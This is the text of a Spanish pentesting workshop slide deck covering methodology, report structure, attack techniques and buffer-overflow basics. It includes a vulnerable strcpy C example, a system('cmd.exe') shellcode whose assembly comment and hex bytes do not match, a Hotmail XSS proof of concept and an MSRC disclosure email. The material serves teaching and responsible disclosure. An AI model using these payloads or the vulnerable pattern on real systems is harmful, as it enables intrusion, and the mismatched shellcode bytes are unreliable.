Upload
futura-networks
View
2.643
Download
2
Embed Size (px)
DESCRIPTION
Citation preview
PENTEST
Vicente Chi PérezLuis Alberto Cortes
EL ARTE DE LA GUERRA
WorkShop
1. 20 Min: Que es un Pentest?
2. 40 Min: Be a Lulzsec guy for a while!!!!
3. 60 Min: Better than anonymous!!!.
4. 20 Min: Preguntas y respuestas.
AGENDA PENTESTW O R K S H O P
ACTIVIDADES PENTESTW O R K S H O P
1. RIESGOS DE LA SEGURIDAD CORPORATIVA
2. PRUEBAS DE PENETRACION
3. TIPOS DE PRUEBAS
4. ESTRUCTURA DE UN PENTEST
5. TECNICAS BASICAS DE HACKEO
6. HACKING !!!!!
7. CONCLUSIONES
SEGURIDAD CORPORATIVA PENTESTW O R K S H O P
PROBLEMAS
• En la experiencia general el 98% de las empresas son muy vulnerables a ataques simples, el 2 % restante son vulnerables a ataques especializados.
• El mismo numero 98% desconoce la forma de pensar y las técnicas usadas por los atacantes.• En la actualidad el hacking ha crecido mas como una actividad delictiva y enfocada a ciertos
blancos.• El hacker tiene todo el tiempo que desee para buscar la forma de atacar y solo tiene que encontrar
1 error, el CSO tiene muchas responsabilidades y verificar cada paso y proceso tecnológico y solo tiene que cometer 1 error.
RIESGOS
• Reputación, perdida de confianza e imagen.• Perdida o modificación de datos.• Incumplimiento de regulaciones (SOX, CNBV, LFPDPPP, etc.)• Robo de identidad o datos sensibles (Datos Identificables, Crediticios, Patrimoniales, etc.)• Espionaje industrial.• Muchos Otros…
PRUEBAS DE PENETRACION PENTESTW O R K S H O P
OBJETIVOS
• En las prueba de penetración se actúa como atacante malicioso, tomándose el tiempo necesario de buscar todas las vulnerabilidades posibles, para preparar y evaluar la empresa para resistir ataques comunes y dirigidos.
FINALIDAD
• Lograr el acceso con el máximo privilegio posible a través de conocimientos técnicos avanzados con un equipo multidisciplinario (Tiger Teaming), a datos privados y sensibles, apoyando con soluciones para permitir minimizar el riesgo y determinar las posibilidades reales de un ataque.
REQUERIMIENTOS PARA EL CONSULTOR
• Conocimiento de redes.• Conocimiento de sistemas operativos.• Conocimiento de desarrollo.• Conocimiento de ingeniería en reversa.• Conocimiento de herramientas.• Conocimiento de °!#$#&&/&()&))==?((#234
Contraten Hackers!
Microsoft, Mcafee, Symantec,USA DoD, NSA, Kaspersky, etc.
TIPOS DE PRUEBAS PENTESTW O R K S H O P
GENERAL (EXTERNA O INTERNA)• WHITE BOX
• Con el conocimiento de la infraestructura.• Tiene menos riesgos pues se sabe que sistemas atacar y por donde.
• GREY BOX• Conocimiento parcial de la infraestructura.• Tienes riesgos bajos ya que abra que hacer intentos de prueba y error.
• BLACK BOX • Sin conocimiento alguno de la infraestructura.• Implica un riesgo alto, ya que no solo alentar las comunicaciones por el trafico a generarse al hacer
trabajo intenso de búsquedas, si no que también corre riesgos al poder detener la producción completa de una empresa con ataques no esperados.
ESPECIALIZADA• Web Application Penetration Test.• Application Vulnerability Assessment.• Source Code Security Analysis.• Wi-Fi Penetration Testing • Social Engineering.• Physical Security.• Industrial Espionage.• Vulnerability Assessment.
ESTRUCTURA PENTESTW O R K S H O P
Existen diversas metodologías de seguridad a seguir:
• Open Source Security Testing Methodology Manual (OSSTMM)• Open Web Application Security Project (OWASP)• National Institute of Standards and Technology-SP800-115 (NIST)• Information Systems Security Assessment Framework (ISSAF)
Que se hace en un Pentest?
1.- Objetivos•Establecer metas.•Establecer blancos.•Detectar necesidades
2.- Recopilación•Google, DNS, Footprint.•Social Engineering.•Metadatos (Archivos)
3.- Enumeración•Port Scanning, Vuln Scan•Services & Applications•Users & Groups
4.- Explotación•System Hacking•Evidence•Physical Intrusion
5.- Documentación•Executive Summary•Technical Details•Recommendations
6.- Dark Side Hacker•Root kits, Key loggers•Evidence Cleaning•Access Concession
REPORTE PENTESTW O R K S H O P
Que debe contener un reporte de un Pen Test:
• Introduction• Testing Team Details (Names, Contacts, Expertise)• Client Details (Details: network, servers, workstations, AD)• Scope of Testing
• Purpose & Type (Assessment, New Implementation, Compliance, Security Pen Test)• Category (White box, Black Box, Grey Box)
• Executive Summary (Brief)• Security Issues (With Critical level)
• OS• Exploited & Unexploited
• Application & Web• Exploited & Unexploited
• Physical (Facilities)• Exploited & Unexploited
• Personnel (Social Engineering)• Exploited & Unexploited
• General • Exploited & Unexploited
• Technical Summary• OS Security, Web Security, Database Security, Application Security, Business Security , Policies and
Procedures• Risk & Recommendations
PENTEST = HACKING PENTESTW O R K S H O P
"You don't know the power of the dark side!"
-Darth Vader
TECNICAS BASICAS DE HACKEO PENTESTW O R K S H O P
• DOS, DDOS• Buffer Overflows
– Stack Overflows– Heap Overflows– Smashing the Stack– Adjacent Memory– Off by One
Race Conditions Format Strings Double Frees Null Sessions Spoofing Sniffing Zapping Brute Forcing Web
– Sql Injections– XXS Cross Scripting Site– Session Hijacking– Cookie hijacking &poisoning– PHP/ASP File Inclusion– PHP/ASP Includes– PHP/ASP Null Byte– PHP Global Vars– Alternate Data Stream– Google Hacking
Man in The Middle– ARP Poisoning– SMB Relay– HTTPS y SSH Relay
Wireless Hacking Parameter Tampering Information Disclosure Landscape Discovery
– Portscanning– Banner Grabing– Service Discovery
Virus & Cracking– Worms– Backdoors– Caballos de Troya– Debugging– Dissasembling– Unpacking
Steganografia Alternate Data Streams (file systems) Email Hacking
– Frame Relay– Identity Thief
PRACTICA WEB PENTESTW O R K S H O P
PHP/ASP Inclusión de Archivos Archivos de Backup (.BAK .INC ETC) Inyección de código PHP Errores de Configuración Mala Técnica de Programación SQL Injection Cross Site Scripting
HACKING PENTESTW O R K S H O P
HACKING TIME!
Break 10 minutosDownload Files From:
http://www.securitynation.com/CPMX3.7z
Encontraran algo????
EXPLOITS BUFFER OVERFLOWS PENTESTW O R K S H O P
• Definición
– Insertar datos mas grandes que el máximo alocado en memoria, dando esto en el cambio de flujo del programa ya sea por corrupción del Extended Instruction Pointer (EIP) o funciones corruptas (Heap)
• Porque Existen los BO
– La forma en que la creación de sistemas operativos se enseña provee una optimización de lectura y escritura en la memoria, por lo cual es espacio se aloca de izquierda a derecha y se escribe en forma inversa.
– Cada ves que un programa ejecuta una rutina el sistema operativo hace lo siguiente:
• Guardar la dirección de la siguiente instrucción valida en EIP (4 Bytes, 0x77777777)• Guardar la dirección de las variables dentro de un puntero en EBP (4 Bytes, 0x77777777)• Alocar espacio para las variables de la función que se esta llamando (Depende del Buffer)• Una ves terminada la función, se llama al código que punta EIP (Valor guardado)• Y así sucesivamente…….
– Por lo que si tomamos control de EIP, podemos decir que al terminar la función el programa ejecute como siguiente código lo que el hacker quiera.
EXPLOITS BUFFER OVERFLOWS PENTESTW O R K S H O P
SEH
Handle
r
EIP
EB
P BUFFER 20 BYTESSTACK STACK
0xC0000005
0x45DF33AD
0x65D537AB
#include <stdio.h> #include <string.h>
int main(int argc, char **argv) { char buffer[20]; strcpy(buffer, argv[1]); printf("%s\n", buffer); }
NOTA: Algunos compiladores crean un padding de algunos bytes para evitar el BO.
PAD
DIN
G
EXPLOITS BUFFER OVERFLOWS PENTESTW O R K S H O P
SEH
Handle
r
EIP
EB
P BUFFER 20 BYTESSTACK - ESP STACK - EAX
0xC0000005
0x41414141
0x41414141
Técnicas Básicas: Jump Into the Stack (la mas común utilizada en Linux)
Consiste en saltar directamente al payload o shellcode.
Call Jump Stack (La mas común utilizada en Windows) Consiste en saltar a una dirección estática de memoria que a su ves
apunta a la direccion de nuestro payload o shellcode
NOTA: Algunos compiladores crean un padding de algunos bytes para evitar el BO.
PAD
DIN
G
“AAAAAAAAAAAAAAAAAAAAAAAAAA”
Dirección de la escritura en la memoria.
NTDL.dllKernel32.dllUSER32.dll
Call ESPJMP ESP
SHELLCODES PENTESTW O R K S H O P
System(cmd.exe)
0040B4EC |. 55 PUSH EBP # Aquí empieza nuestra shellcode
0040B4ED |. 8BEC MOV EBP,ESP0040B4EF |. 33FF XOR EDI,EDI0040B4F1 |. 57 PUSH EDI0040B4F2 |. 83EC 08 SUB ESP,80040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63 # ”C”0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D # ”M”0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64 # ”D”0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E # ”.”0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65 # ”E”0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78 # ”X”0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65 # ”E”0040B511 |. 8D45 F8 LEA eax,DWORD PTR SS:[EBP-8] #”CMD.EXE”0040B514 |. 50 PUSH eax0040B515 |. BB 4480BF77 MOV EBX, 76FDAB6B # Direccion del system() msvcrt.dll VISTA ESPAÑOL
0040B51A |. FFD3 CALL EBX # EJECUTA SYSTEM CON CMD.EXE DE PARAMETRO
System(cmd.exe)
“\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\x F8\Xbb\x44\x80\xBF\x77\xFF\xD3”
MAKING YOUR FIRST EXPLOT PENTESTW O R K S H O P
“Hack the planet”
CONCLUSIONES PENTESTW O R K S H O P
Si no conoces hackers y no sabes como romper y atacar sistemas, como esperas defenderte de ello?
Be One to Defeat One
Cualquiera puede ser hackerNo es ser un genio, es solo el gusto de aprender.
La cultura de la seguridad se esta perdiendoYa no hay investigación ni desarrollo, se necesita mas gente interesada
La mayoría de los avances tecnológicos han sido gracias a los hackers.
Hackers famosos != Hackers buenosSQL Injection = Lulzsec & anonymous
Los consultores de seguridad están prostituidos, cuantos realmente saben hacer exploits y son buenos técnicamente y cuantos, solo tienen el titulo o la certificación por saber usar herramientas ya hechas. (ósea nada nuevo)
PREGUNTAS ? (NO HOTMAIL) PENTESTW O R K S H O P
Fallos XXS Hackeando Hotmail 26 de Abril 2005 Hotmail Cross Site Message Explore
Proof of ConceptHotmail Cross Site Message Explorer by NaPaSecurity Nation Labs – México-----------------------------------------------------------------<html><head></head><body><script>str1=document.URL;str2=str1.split("?");str3=str2[1];str4=str3.split("&");str5="http://by17fd.bay17.hotmail.msn.com/cgibin/getmsg?msg=&start=&len=&mfs=&cmd=next&lastmsgid=";str6=str4[2];str7=str6.split("=");str8=str7[1];str9="&msgread=&etype=&wo=";str10=str5+str8+str9+"&"+str4[0]+"&"+str4[1]window.open(str10);</script>hola napa</body></html>---------------------------------------------------------------------
De: Microsoft Security Response Center [mailto:[email protected]] Enviado el: miércoles, 07 de septiembre de 2005 11:17Para: Luis A. Cortes ZavalaCC: Microsoft Security Response CenterAsunto: RE: failure notice [MSRC 5937sd]
Thanks for the fast reply Luis,
OK no problems I will provide you with an update when the team turns on the "a" attribute at the end of October.
Its something we have difficulty with acknowledging finders for our online services, as we don't issue a security bulletin for them.
I apologize for this, maybe once this is all over you can present at any conference and discuss this issue and how we went from a bad situation to a great outcome and you were the researcher the whole way along who worked with Microsoft to secure its online systems? I don't know I am just thinking aloud...
CheersScott D.